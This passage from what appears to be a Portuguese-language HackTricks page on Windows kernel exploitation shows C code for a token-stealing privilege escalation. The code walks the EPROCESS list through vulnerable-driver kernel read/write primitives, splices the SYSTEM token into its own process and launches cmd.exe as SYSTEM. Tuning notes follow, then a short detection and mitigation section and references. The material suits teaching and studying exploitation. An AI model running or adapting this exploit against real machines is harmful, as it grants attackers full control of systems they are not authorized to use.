uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
Notas:
- Offsets: Use WinDbg’s `dt nt!_EPROCESS` com os PDBs do alvo, ou um carregador de símbolos em tempo de execução, para obter offsets corretos. Não hardcodear cegamente.
- Mask: Em x64 o token é um EX_FAST_REF; os 3 bits menos significativos são bits de contagem de referência. Manter os bits baixos originais do seu token evita inconsistências imediatas no refcount.
- Stability: Prefira elevar o processo atual; se você elevar um helper de curta duração pode perder SYSTEM quando ele encerrar.
## Detecção e mitigação
- Carregar drivers de terceiros não assinados ou não confiáveis que expõem IOCTLs poderosos é a causa raiz.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e as regras de Attack Surface Reduction podem impedir que drivers vulneráveis sejam carregados.
- EDR pode monitorar sequências suspeitas de IOCTL que implementem leitura/gravação arbitrária e trocas de token.
## Referências
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}